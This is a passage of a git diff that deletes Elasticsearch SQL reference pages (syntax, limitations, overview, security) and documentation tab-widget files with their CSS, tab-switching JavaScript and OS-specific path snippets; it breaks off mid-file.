-===== Numeric Literals
-
-Numeric literals are accepted both in decimal and scientific notation with exponent marker (`e` or `E`), starting either with a digit or decimal point `.`:
-
-[source, sql]
-----
-1969    -- integer notation
-3.14    -- decimal notation
-.1234   -- decimal notation starting with decimal point
-4E5     -- scientific notation (with exponent marker)
-1.2e-3  -- scientific notation with decimal point
-----
-
-Numeric literals that contain a decimal point are always interpreted as being of type `double`. Those without are considered `integer` if they fit otherwise their type is `long` (or `BIGINT` in ANSI SQL types).
-
-[[sql-syntax-generic-literals]]
-[discrete]
-===== Generic Literals
-
-When dealing with arbitrary type literal, one creates the object by casting, typically, the string representation to the desired type. This can be achieved through the dedicated <<sql-operators-cast, cast operator>> and <<sql-functions-type-conversion, functions>>:
-
-[source, sql]
-----
-123::LONG                                   -- cast 123 to a LONG
-CAST('1969-05-13T12:34:56' AS TIMESTAMP)    -- cast the given string to datetime
-CONVERT('10.0.0.1', IP)                     -- cast '10.0.0.1' to an IP    
-----
-
-Do note that {es-sql} provides functions that out of the box return popular literals (like `E()`) or provide dedicated parsing for certain strings.
-
-[[sql-syntax-single-vs-double-quotes]]
-==== Single vs Double Quotes
-
-It is worth pointing out that in SQL, single quotes `'` and double quotes `"` have different meaning and *cannot* be used interchangeably.
-Single quotes are used to declare a <<sql-syntax-string-literals, string literal>> while double quotes for <<sql-syntax-identifiers, identifiers>>.
-
-To wit:
-
-[source, sql]
-----
-SELECT "first_name" <1>
-  FROM "musicians"  <1>
- WHERE "last_name"  <1>
-     = 'Carroll'    <2>
-----
-
-<1> Double quotes `"` used for column and table identifiers
-<2> Single quotes `'` used for a string literal
-
-[NOTE]
-To escape single or double quotes, one needs to use that specific quote one more time. For example, the literal `John's` can be escaped like
-`SELECT 'John''s' AS name`. The same goes for double quotes escaping - `SELECT 123 AS "test""number"` will display as a result a column with the name `test"number`.
-
-[[sql-syntax-special-chars]]
-==== Special characters
-
-A few characters that are not alphanumeric have a dedicated meaning different from that of an operator. For completeness these are specified below:
-
-
-[cols="^m,^15"]
-
-|===
-
-s|Char
-s|Description
-
-|* | The asterisk (or wildcard) is used in some contexts to denote all fields for a table. Can be also used as an argument to some aggregate functions.
-|, | Commas are used to enumerate the elements of a list.
-|. | Used in numeric constants or to separate identifiers qualifiers (catalog, table, column names, etc...).
-|()| Parentheses are used for specific SQL commands, function declarations or to enforce precedence.
-|===
-
-[[sql-syntax-operators]]
-==== Operators
-
-Most operators in {es-sql} have the same precedence and are left-associative. As this is done at parsing time, parenthesis need to be used to enforce a different precedence.
-
-The following table indicates the supported operators and their precedence (highest to lowest);
-
-[cols="^2m,^,^3"]
-
-|===
-
-s|Operator/Element
-s|Associativity
-s|Description
-
-|.
-|left
-|qualifier separator
-
-|::
-|left
-|PostgreSQL-style type cast
-
-|+ - 
-|right
-|unary plus and minus (numeric literal sign)
-
-|* / %
-|left
-|multiplication, division, modulo
-
-|+ -
-|left
-|addition, subtraction
-
-|BETWEEN IN LIKE
-|
-|range containment, string matching
-
-|+++< > <= >= = <=> <> !=+++
-|
-|comparison
-
-|NOT
-|right
-|logical negation
-
-|AND
-|left
-|logical conjunction
-
-|OR
-|left
-|logical disjunction
-
-|===
-
-
-[[sql-syntax-comments]]
-==== Comments
-
-{es-sql} allows comments which are sequence of characters ignored by the parsers.
-
-Two styles are supported:
-
-Single Line:: Comments start with a double dash `--` and continue until the end of the line.
-Multi line:: Comments that start with `/*` and end with `*/` (also known as C-style). 
-
-
-[source, sql]
-----
--- single line comment
-/* multi
-   line
-   comment
-   that supports /* nested comments */
-   */
-----
-
diff --git a/docs/reference/sql/limitations.asciidoc b/docs/reference/sql/limitations.asciidoc
deleted file mode 100644
index b1baf9c3376..00000000000
--- a/docs/reference/sql/limitations.asciidoc
+++ /dev/null
@@ -1,238 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-limitations]]
-== SQL Limitations
-
-[discrete]
-[[large-parsing-trees]]
-=== Large queries may throw `ParsingExpection`
-
-Extremely large queries can consume too much memory during the parsing phase, in which case the {es-sql} engine will
-abort parsing and throw an error. In such cases, consider reducing the query to a smaller size by potentially
-simplifying it or splitting it into smaller queries.
-
-[discrete]
-[[sys-columns-describe-table-nested-fields]]
-=== Nested fields in `SYS COLUMNS` and `DESCRIBE TABLE`
-
-{es} has a special type of relationship fields called `nested` fields. In {es-sql} they can be used by referencing their inner
-sub-fields. Even though `SYS COLUMNS` in non-driver mode (in the CLI and in REST calls) and `DESCRIBE TABLE` will still display
-them as having the type `NESTED`, they cannot be used in a query. One can only reference its sub-fields in the form:
-
-[source, sql]
---------------------------------------------------
-[nested_field_name].[sub_field_name]
---------------------------------------------------
-
-For example:
-
-[source, sql]
---------------------------------------------------
-SELECT dep.dep_name.keyword FROM test_emp GROUP BY languages;
---------------------------------------------------
-
-[discrete]
-=== Scalar functions on nested fields are not allowed in `WHERE` and `ORDER BY` clauses
-{es-sql} doesn't support the usage of scalar functions on top of nested fields in `WHERE`
-and `ORDER BY` clauses with the exception of comparison and logical operators.
-
-For example:
-
-[source, sql]
---------------------------------------------------
-SELECT * FROM test_emp WHERE LENGTH(dep.dep_name.keyword) > 5;
---------------------------------------------------
-
-and
-
-[source, sql]
---------------------------------------------------
-SELECT * FROM test_emp ORDER BY YEAR(dep.start_date);
---------------------------------------------------
-
-are not supported but:
-
-[source, sql]
---------------------------------------------------
-SELECT * FROM test_emp WHERE dep.start_date >= CAST('2020-01-01' AS DATE) OR dep.dep_end_date IS NULL;
---------------------------------------------------
-
-is supported.
-
-[discrete]
-=== Multi-nested fields
-
-{es-sql} doesn't support multi-nested documents, so a query cannot reference more than one nested field in an index.
-This applies to multi-level nested fields, but also multiple nested fields defined on the same level. For example, for this index:
-
-[source, sql]
-----------------------------------------------------
-       column         |     type      |    mapping
-----------------------+---------------+-------------
-nested_A              |STRUCT         |NESTED
-nested_A.nested_X     |STRUCT         |NESTED
-nested_A.nested_X.text|VARCHAR        |KEYWORD
-nested_A.text         |VARCHAR        |KEYWORD
-nested_B              |STRUCT         |NESTED
-nested_B.text         |VARCHAR        |KEYWORD
-----------------------------------------------------
-
-`nested_A` and `nested_B` cannot be used at the same time, nor `nested_A`/`nested_B` and `nested_A.nested_X` combination.
-For such situations, {es-sql} will display an error message.
-
-[discrete]
-=== Paginating nested inner hits
-
-When SELECTing a nested field, pagination will not work as expected, {es-sql} will return __at least__ the page size records.
-This is because of the way nested queries work in {es}: the root nested field will be returned and it's matching inner nested fields as well,
-pagination taking place on the **root nested document and not on its inner hits**.
-
-[discrete]
-[[normalized-keyword-fields]]
-=== Normalized `keyword` fields
-
-`keyword` fields in {es} can be normalized by defining a `normalizer`. Such fields are not supported in {es-sql}.
-
-[discrete]
-=== Array type of fields
-
-Array fields are not supported due to the "invisible" way in which {es} handles an array of values: the mapping doesn't indicate whether
-a field is an array (has multiple values) or not, so without reading all the data, {es-sql} cannot know whether a field is a single or multi value.
-When multiple values are returned for a field, by default, {es-sql} will throw an exception. However, it is possible to change this behavior through `field_multi_value_leniency` parameter in REST (disabled by default) or
-`field.multi.value.leniency` in drivers (enabled by default).
-
-[discrete]
-=== Sorting by aggregation
-
-When doing aggregations (`GROUP BY`) {es-sql} relies on {es}'s `composite` aggregation for its support for paginating results.
-However this type of aggregation does come with a limitation: sorting can only be applied on the key used for the aggregation's buckets.
-{es-sql} overcomes this limitation by doing client-side sorting however as a safety measure, allows only up to *65535* rows.
-
-It is recommended to use `LIMIT` for queries that use sorting by aggregation, essentially indicating the top N results that are desired:
-
-[source, sql]
---------------------------------------------------
-SELECT * FROM test GROUP BY age ORDER BY COUNT(*) LIMIT 100;
---------------------------------------------------
-
-It is possible to run the same queries without a `LIMIT` however in that case if the maximum size (*10000*) is passed,
-an exception will be returned as {es-sql} is unable to track (and sort) all the results returned.
-
-Moreover, the aggregation(s) used in the `ORDER BY` must be only plain aggregate functions. No scalar
-functions or operators can be used, and therefore no complex columns that combine two ore more aggregate
-functions can be used for ordering. Here are some examples of queries that are *not allowed*:
-
-[source, sql]
---------------------------------------------------
-SELECT age, ROUND(AVG(salary)) AS avg FROM test GROUP BY age ORDER BY avg;
-
-SELECT age, MAX(salary) - MIN(salary) AS diff FROM test GROUP BY age ORDER BY diff;
---------------------------------------------------
-
-[discrete]
-=== Using a sub-select
-
-Using sub-selects (`SELECT X FROM (SELECT Y)`) is **supported to a small degree**: any sub-select that can be "flattened" into a single
-`SELECT` is possible with {es-sql}. For example:
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[limitationSubSelect]
---------------------------------------------------
-
-The query above is possible because it is equivalent with:
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[limitationSubSelectRewritten]
---------------------------------------------------
-
-But, if the sub-select would include a `GROUP BY` or `HAVING` or the enclosing `SELECT` would be more complex than `SELECT X
-FROM (SELECT ...) WHERE [simple_condition]`, this is currently **un-supported**.
-
-[discrete]
-[[first-last-agg-functions-having-clause]]
-=== Using <<sql-functions-aggs-first, `FIRST`>>/<<sql-functions-aggs-last,`LAST`>> aggregation functions in `HAVING` clause
-
-Using `FIRST` and `LAST` in the `HAVING` clause is not supported. The same applies to
-<<sql-functions-aggs-min,`MIN`>> and <<sql-functions-aggs-max,`MAX`>> when their target column
-is of type <<keyword, `keyword`>> as they are internally translated to `FIRST` and `LAST`.
-
-[discrete]
-[[group-by-time]]
-=== Using TIME data type in GROUP BY or <<sql-functions-grouping-histogram>>
-
-Using `TIME` data type as a grouping key is currently not supported. For example:
-
-[source, sql]
--------------------------------------------------------------
-SELECT count(*) FROM test GROUP BY CAST(date_created AS TIME);
--------------------------------------------------------------
-
-On the other hand, it can still be used if it's wrapped with a scalar function that returns another data type,
-for example:
-
-[source, sql]
--------------------------------------------------------------
-SELECT count(*) FROM test GROUP BY MINUTE((CAST(date_created AS TIME));
--------------------------------------------------------------
-
-`TIME` data type is also currently not supported in histogram grouping function. For example:
-
-[source, sql]
--------------------------------------------------------------
-SELECT HISTOGRAM(CAST(birth_date AS TIME), INTERVAL '10' MINUTES) as h, COUNT(*) FROM t GROUP BY h
--------------------------------------------------------------
-
-[discrete]
-[[geo-sql-limitations]]
-=== Geo-related functions
-
-Since `geo_shape` fields don't have doc values these fields cannot be used for filtering, grouping or sorting.
-
-By default,`geo_points` fields are indexed and have doc values. However only latitude and longitude are stored and
-indexed with some loss of precision from the original values (4.190951585769653E-8 for the latitude and
-8.381903171539307E-8 for longitude). The altitude component is accepted but not stored in doc values nor indexed.
-Therefore calling `ST_Z` function in the filtering, grouping or sorting will return `null`.
-
-[discrete]
-[[fields-from-source]]
-=== Retrieving from `_source`
-
-Most of {es-sql}'s columns are retrieved from the document's `_source` and there is no attempt to get the columns content from
-`docvalue_fields` not even in the case <<mapping-source-field,`_source`>> field is disabled in the mapping explicitly.
-If a column, for which there is no source stored, is asked for in a query, {es-sql} will not return it. Field types that don't follow
-this restriction are: `keyword`, `date`, `scaled_float`, `geo_point`, `geo_shape` since they are NOT returned from `_source` but
-from `docvalue_fields`.
-
-[discrete]
-[[fields-from-docvalues]]
-=== Retrieving from `docvalue_fields`
-
-When the number of columns retrievable from `docvalue_fields` is greater than the configured <<dynamic-index-settings,`index.max_docvalue_fields_search` setting>>
-the query will fail with `IllegalArgumentException: Trying to retrieve too many docvalue_fields` error. Either the mentioned {es}
-setting needs to be adjusted or fewer columns retrievable from `docvalue_fields` need to be selected.
-
-[discrete]
-[[aggs-in-pivot]]
-=== Aggregations in the <<sql-syntax-pivot, `PIVOT`>> clause
-
-The aggregation expression in <<sql-syntax-pivot, `PIVOT`>> will currently accept only one aggregation. It is thus not possible to obtain multiple aggregations for any one pivoted column.
-
-[discrete]
-[[subquery-in-pivot]]
-=== Using a subquery in <<sql-syntax-pivot, `PIVOT`>>'s `IN`-subclause
-
-The values that the <<sql-syntax-pivot, `PIVOT`>> query could pivot must be provided in the query as a list of literals; providing a subquery instead to build this list is not currently supported. For example, in this query:
-
-[source, sql]
--------------------------------------------------------------
-SELECT * FROM test_emp PIVOT (SUM(salary) FOR languages IN (1, 2))
--------------------------------------------------------------
-
-the `languages` of interest must be listed explicitly: `IN (1, 2)`. On the other hand, this example would **not work**:
-
-[source, sql]
--------------------------------------------------------------
-SELECT * FROM test_emp PIVOT (SUM(salary) FOR languages IN (SELECT languages FROM test_emp WHERE languages <=2 GROUP BY languages))
--------------------------------------------------------------
diff --git a/docs/reference/sql/overview.asciidoc b/docs/reference/sql/overview.asciidoc
deleted file mode 100644
index c59e2e42ece..00000000000
--- a/docs/reference/sql/overview.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-overview]]
-== Overview
-
-{es-sql} aims to provide a powerful yet lightweight SQL interface to {es}.
-
-[[sql-introduction]]
-[discrete]
-=== Introduction
-
-{es-sql} is an X-Pack component that allows SQL-like queries to be executed in real-time against {es}.
-Whether using the REST interface, command-line or JDBC, any client can use SQL to search and aggregate data
-_natively_ inside {es}.
-One can think of {es-sql} as a _translator_, one that understands both SQL and {es} and makes it easy to read and process data in real-time, at scale by leveraging {es} capabilities.
-
-[[sql-why]]
-[discrete]
-=== Why {es-sql} ?
-
-Native integration::
-
-{es-sql} is built from the ground up for {es}. Each and every query is efficiently executed against the relevant nodes according to the underlying storage.
-
-No external parts::
-
-No need for additional hardware, processes, runtimes or libraries to query {es}; {es-sql} eliminates extra moving parts by running _inside_ the {es} cluster.
-
-Lightweight and efficient::
-
-{es-sql} does not abstract {es} and its search capabilities - on the contrary, it embraces and exposes SQL to allow proper full-text search, in real-time, in the same declarative, succinct fashion.
-
-
-
diff --git a/docs/reference/sql/security.asciidoc b/docs/reference/sql/security.asciidoc
deleted file mode 100644
index e58ab490b7b..00000000000
--- a/docs/reference/sql/security.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-security]]
-== Security
-
-{es-sql} integrates with security, if this is enabled on your cluster. 
-In such a scenario, {es-sql} supports both security at the transport layer (by encrypting the communication between the consumer and the server) and authentication (for the access layer).
-
-[discrete]
-[[ssl-tls-config]]
-==== SSL/TLS configuration
-
-In case of an encrypted transport, the SSL/TLS support needs to be enabled in {es-sql} to properly establish communication with {es}. This is done by setting the `ssl` property to `true` or by using the `https` prefix in the URL. +
-Depending on your SSL configuration (whether the certificates are signed by a CA or not, whether they are global at JVM level or just local to one application), might require setting up the `keystore` and/or `truststore`, that is where the _credentials_ are stored (`keystore` - which typically stores private keys and certificates) and how to _verify_ them (`truststore` - which typically stores certificates from third party also known as CA - certificate authorities). +
-Typically (and again, do note that your environment might differ significantly), if the SSL setup for {es-sql} is not already done at the JVM level, one needs to setup the keystore if the {es-sql} security requires client authentication (PKI - Public Key Infrastructure), and setup `truststore` if SSL is enabled.
-
-[discrete]
-==== Authentication
-
-The authentication support in {es-sql} is of two types:
-
-Username/Password:: Set these through `user` and `password` properties.
-PKI/X.509:: Use X.509 certificates to authenticate {es-sql} to {es}. For this, one would need to setup the `keystore` containing the private key and certificate to the appropriate user (configured in {es}) and the `truststore` with the CA certificate used to sign the SSL/TLS certificates in the {es} cluster. That is, one should setup the key to authenticate {es-sql} and also to verify that is the right one. To do so, one should set the `ssl.keystore.location` and `ssl.truststore.location` properties to indicate the `keystore` and `truststore` to use. It is recommended to have these secured through a password in which case `ssl.keystore.pass` and `ssl.truststore.pass` properties are required.
-
-[discrete]
-[[sql-security-permissions]]
-==== Permissions (server-side)
-Lastly, one the server one need to add a few permissions to
-users so they can run SQL. To run SQL a user needs `read` and
-`indices:admin/get` permissions at minimum while some parts of 
-the API require `cluster:monitor/main`. 
-
-The following example configures a role that can run SQL in JDBC querying the `test` and `bort`
-indices:
-
-[source, yaml]
---------------------------------------------------
-include-tagged::{sql-tests}server/security/roles.yml[cli_drivers]
---------------------------------------------------
-
diff --git a/docs/reference/tab-widgets/code.asciidoc b/docs/reference/tab-widgets/code.asciidoc
deleted file mode 100644
index a6949b681ed..00000000000
--- a/docs/reference/tab-widgets/code.asciidoc
+++ /dev/null
@@ -1,163 +0,0 @@
-// Defining styles and script here for simplicity.
-++++
-<style>
-.tabs {
-  width: 100%;
-}
-[role="tablist"] {
-  margin: 0 0 -0.1em;
-  overflow: visible;
-}
-[role="tab"] {
-  position: relative;
-  padding: 0.3em 0.5em 0.4em;
-  border: 1px solid hsl(219, 1%, 72%);
-  border-radius: 0.2em 0.2em 0 0;
-  overflow: visible;
-  font-family: inherit;
-  font-size: inherit;
-  background: hsl(220, 20%, 94%);
-}
-[role="tab"]:hover::before,
-[role="tab"]:focus::before,
-[role="tab"][aria-selected="true"]::before {
-  position: absolute;
-  bottom: 100%;
-  right: -1px;
-  left: -1px;
-  border-radius: 0.2em 0.2em 0 0;
-  border-top: 3px solid hsl(219, 1%, 72%);
-  content: '';
-}
-[role="tab"][aria-selected="true"] {
-  border-radius: 0;
-  background: hsl(220, 43%, 99%);
-  outline: 0;
-}
-[role="tab"][aria-selected="true"]:not(:focus):not(:hover)::before {
-  border-top: 5px solid hsl(218, 96%, 48%);
-}
-[role="tab"][aria-selected="true"]::after {
-  position: absolute;
-  z-index: 3;
-  bottom: -1px;
-  right: 0;
-  left: 0;
-  height: 0.3em;
-  background: hsl(220, 43%, 99%);
-  box-shadow: none;
-  content: '';
-}
-[role="tab"]:hover,
-[role="tab"]:focus,
-[role="tab"]:active {
-  outline: 0;
-  border-radius: 0;
-  color: inherit;
-}
-[role="tab"]:hover::before,
-[role="tab"]:focus::before {
-  border-color: hsl(218, 96%, 48%);
-}
-[role="tabpanel"] {
-  position: relative;
-  z-index: 2;
-  padding: 1em;
-  border: 1px solid hsl(219, 1%, 72%);
-  border-radius: 0 0.2em 0.2em 0.2em;
-  box-shadow: 0 0 0.2em hsl(219, 1%, 72%);
-  background: hsl(220, 43%, 99%);
-  margin-bottom: 1em;
-}
-[role="tabpanel"] p {
-  margin: 0;
-}
-[role="tabpanel"] * + p {
-  margin-top: 1em;
-}
-</style>
-<script>
-window.addEventListener("DOMContentLoaded", () => {
-  const tabs = document.querySelectorAll('[role="tab"]');
-  const tabList = document.querySelector('[role="tablist"]');
-  // Add a click event handler to each tab
-  tabs.forEach(tab => {
-    tab.addEventListener("click", changeTabs);
-  });
-  // Enable arrow navigation between tabs in the tab list
-  let tabFocus = 0;
-  tabList.addEventListener("keydown", e => {
-    // Move right
-    if (e.keyCode === 39 || e.keyCode === 37) {
-      tabs[tabFocus].setAttribute("tabindex", -1);
-      if (e.keyCode === 39) {
-        tabFocus++;
-        // If we're at the end, go to the start
-        if (tabFocus >= tabs.length) {
-          tabFocus = 0;
-        }
-        // Move left
-      } else if (e.keyCode === 37) {
-        tabFocus--;
-        // If we're at the start, move to the end
-        if (tabFocus < 0) {
-          tabFocus = tabs.length - 1;
-        }
-      }
-      tabs[tabFocus].setAttribute("tabindex", 0);
-      tabs[tabFocus].focus();
-    }
-  });
-});
-function setActiveTab(target) {
-  const parent = target.parentNode;
-  const grandparent = parent.parentNode;
-  // console.log(grandparent);
-  // Remove all current selected tabs
-  parent
-    .querySelectorAll('[aria-selected="true"]')
-    .forEach(t => t.setAttribute("aria-selected", false));
-  // Set this tab as selected
-  target.setAttribute("aria-selected", true);
-  // Hide all tab panels
-  grandparent
-    .querySelectorAll('[role="tabpanel"]')
-    .forEach(p => p.setAttribute("hidden", true));
-  // Show the selected panel
-  grandparent.parentNode
-    .querySelector(`#${target.getAttribute("aria-controls")}`)
-    .removeAttribute("hidden");
-}
-function changeTabs(e) {
-  // get the containing list of the tab that was just clicked
-  const tabList = e.target.parentNode;
-  
-  // get all of the sibling tabs
-  const buttons = Array.apply(null, tabList.querySelectorAll('button'));
-  
-  // loop over the siblings to discover which index thje clicked one was
-  const { index } = buttons.reduce(({ found, index }, button) => {
-    if (!found && buttons[index] === e.target) {
-      return { found: true, index };
-    } else if (!found) {
-      return { found, index: index + 1 };
-    } else {
-      return { found, index };
-    }
-  }, { found: false, index: 0 });
-  
-  // get the tab container
-  const container = tabList.parentNode;
-  // read the data-tab-group value from the container, e.g. "os"
-  const { tabGroup } = container.dataset;
-  // get a list of all the tab groups that match this value on the page
-  const groups = document.querySelectorAll('[data-tab-group=' + tabGroup + ']');
-  
-  // for each of the found tab groups, find the tab button at the previously discovered index and select it for each group
-  groups.forEach((group) => {
-    const target = group.querySelectorAll('button')[index];
-    setActiveTab(target);
-  });
-}
-</script>
-++++
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/customize-data-log-path-widget.asciidoc b/docs/reference/tab-widgets/customize-data-log-path-widget.asciidoc
deleted file mode 100644
index a87f4c6d557..00000000000
--- a/docs/reference/tab-widgets/customize-data-log-path-widget.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-++++
-<div class="tabs" data-tab-group="os">
-  <div role="tablist" aria-label="data-log-path">
-    <button role="tab"
-            aria-selected="true"
-            aria-controls="unix-tab-data-log-path"
-            id="unix-data-log-path">
-      Unix-like systems
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="win-tab-data-log-path"
-            id="win-data-log-path">
-      Windows
-    </button>
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="unix-tab-data-log-path"
-       aria-labelledby="unix-data-log-path">
-++++
-
-include::customize-data-log-path.asciidoc[tag=unix]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="win-tab-data-log-path"
-       aria-labelledby="win-data-log-path"
-       hidden="">
-++++
-
-include::customize-data-log-path.asciidoc[tag=win]
-
-++++
-  </div>
-</div>
-++++
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/customize-data-log-path.asciidoc b/docs/reference/tab-widgets/customize-data-log-path.asciidoc
deleted file mode 100644
index 45cee2babeb..00000000000
--- a/docs/reference/tab-widgets/customize-data-log-path.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-// tag::unix[]
-Linux and macOS installations support Unix-style paths:
-
-[source,yaml]
-----
-path:
-  data: /var/data/elasticsearch
-  logs: /var/log/elasticsearch
-----
-// end::unix[]
-
-
-// tag::win[]
-Windows installations support DOS paths with escaped backslashes:
-
-[source,yaml]
-----
-path:
-  data: "C:\\Elastic\\Elasticsearch\\data"
-  logs: "C:\\Elastic\\Elasticsearch\\logs"
-----
-// end::win[]
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/logging-widget.asciidoc b/docs/reference/tab-widgets/logging-widget.asciidoc
deleted file mode 100644
index b88633bdb48..00000000000
--- a/docs/reference/tab-widgets/logging-widget.asciidoc
+++ /dev/null
@@ -1,147 +0,0 @@
-++++
-<div class="tabs" data-tab-group="os">
-  <div role="tablist" aria-label="logs">
-    <button role="tab"
-            aria-selected="true"
-            aria-controls="docker-tab-logs"
-            id="docker-logs">
-      Docker
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="deb-tab-logs"
-            id="deb-logs">
-      Debian (APT)
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="rpm-tab-logs"
-            id="rpm-logs"
-            tabindex="-1">
-      RPM
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="mac-tab-logs"
-            id="mac-logs"
-            tabindex="-1">
-      macOS
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="brew-tab-logs"
-            id="brew-logs"
-            tabindex="-1">
-      Brew
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="linux-tab-logs"
-            id="linux-logs"
-            tabindex="-1">
-      Linux
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="win-zip-tab-logs"
-            id="win-zip-logs"
-            tabindex="-1">
-      Windows .zip
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="win-msi-tab-logs"
-            id="win--msilogs"
-            tabindex="-1">
-      Windows .msi
-    </button>
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="docker-tab-logs"
-       aria-labelledby="docker-logs">
-++++
-
-include::logging.asciidoc[tag=docker]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="deb-tab-logs"
-       aria-labelledby="deb-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=deb]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="rpm-tab-logs"
-       aria-labelledby="rpm-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=rpm]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="mac-tab-logs"
-       aria-labelledby="mac-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=mac]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="brew-tab-logs"
-       aria-labelledby="brew-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=brew]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="linux-tab-logs"
-       aria-labelledby="linux-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=linux]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="win-zip-tab-logs"
-       aria-labelledby="win-zip-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=win-zip]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="win-msi-tab-logs"
-       aria-labelledby="win-msi-logs"
-       hidden="">
-++++
-
-include::logging.asciidoc[tag=win-msi]
-
-++++
-  </div>
-</div>
-++++
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/logging.asciidoc b/docs/reference/tab-widgets/logging.asciidoc
deleted file mode 100644
index 7570a1c9255..00000000000
--- a/docs/reference/tab-widgets/logging.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-// tag::docker[]
-On <<docker,Docker>>, log messages go to the console and are handled by the
-configured Docker logging driver. To access logs, run `docker logs`.
-// end::docker[]
-
-// tag::deb[]
-For <<deb,Debian installations>>, {es} writes logs to `/var/log/elasticsearch`.
-// end::deb[]
-
-// tag::rpm[]
-For <<rpm,RPM installations>>, {es} writes logs to `/var/log/elasticsearch`.
-// end::rpm[]
-
-// tag::mac[]
-For <<targz,macOS `.tar.gz`>> installations, {es} writes logs to
-`$ES_HOME/logs`.
-
-Files in `$ES_HOME` risk deletion during an upgrade. In production, we strongly
-recommend you set `path.logs` to a location outside of `$ES_HOME`.
-See <<path-settings>>.
-// end::mac[]
-
-// tag::brew[]
-For <<brew,macOS Homebrew>> installations, {es} writes logs to
-`/usr/local/var/log/elasticsearch`.
-// end::brew[]
-
-// tag::linux[]
-For <<targz,Linux `.tar.gz`>> installations, {es} writes logs to
-`$ES_HOME/logs`.
-
-Files in `$ES_HOME` risk deletion during an upgrade. In production, we strongly
-recommend you set `path.logs` to a location outside of `$ES_HOME`.
-See <<path-settings>>.
-// end::linux[]
-
-// tag::win-zip[]
-For <<zip-windows,Windows `.zip`>> installations, {es} writes logs to
-`%ES_HOME%\logs`.
-
-Files in `%ES_HOME%` risk deletion during an upgrade. In production, we strongly
-recommend you set `path.logs` to a location outside of `%ES_HOME%``.
-See <<path-settings>>.
-// end::win-zip[]
-
-// tag::win-msi[]
-For <<windows,Windows `.msi`>> installations, {es} writes logs to
-`%ALLUSERSPROFILE%\Elastic\Elasticsearch\logs`.
-// end::win-msi[]
diff --git a/docs/reference/tab-widgets/multi-data-path-widget.asciidoc b/docs/reference/tab-widgets/multi-data-path-widget.asciidoc
deleted file mode 100644
index f665e7a1cc9..00000000000
--- a/docs/reference/tab-widgets/multi-data-path-widget.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-++++
-<div class="tabs" data-tab-group="os">
-  <div role="tablist" aria-label="multi-data-path">
-    <button role="tab"
-            aria-selected="true"
-            aria-controls="unix-tab-multi-data-path"
-            id="unix-multi-data-path">
-      Unix-like systems
-    </button>
-    <button role="tab"
-            aria-selected="false"
-            aria-controls="win-tab-multi-data-path"
-            id="win-multi-data-path">
-      Windows
-    </button>
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="unix-tab-multi-data-path"
-       aria-labelledby="unix-multi-data-path">
-++++
-
-include::multi-data-path.asciidoc[tag=unix]
-
-++++
-  </div>
-  <div tabindex="0"
-       role="tabpanel"
-       id="win-tab-multi-data-path"
-       aria-labelledby="win-multi-data-path"
-       hidden="">
-++++
-
-include::multi-data-path.asciidoc[tag=win]
-
-++++
-  </div>
-</div>
-++++
\ No newline at end of file
diff --git a/docs/reference/tab-widgets/multi-data-path.asciidoc b/docs/reference/tab-widgets/multi-data-path.asciidoc
deleted file mode 100644
index 0a63c7791f6..00000000000
--- a/docs/reference/tab-widgets/multi-data-path.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-// tag::unix[]
-Linux and macOS installations support multiple Unix-style paths in `path.data`:
-
-[source,yaml]
-----
-path:
-  data:
-    - /mnt/elasticsearch_1
-    - /mnt/elasticsearch_2
-    - /mnt/elasticsearch_3
-----
-// end::unix[]
-
-
-// tag::win[]
-Windows installations support multiple DOS paths in `path.data`:
-
-[source,yaml]
-----
-path:
-  data:
-    - "C:\\Elastic\\Elasticsearch_1"
-    - "E:\\Elastic\\Elasticsearch_1"
-    - "F:\\Elastic\\Elasticsearch_3"
-----
-// end::win[]
diff --git a/docs/reference/tab-widgets/register-fs-repo-widget.asciidoc b/docs/reference/tab-widgets/register-fs-repo-widget.asciidoc
deleted file mode 100644
index d0ac7041adf..00000000000
--- a/docs/reference/tab-widgets/register-fs-repo-widget.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-++++
-<div class="tabs" data-tab-group="os">
-  <div role="tablist" aria-label="fs-repo">
-    <button role="tab"
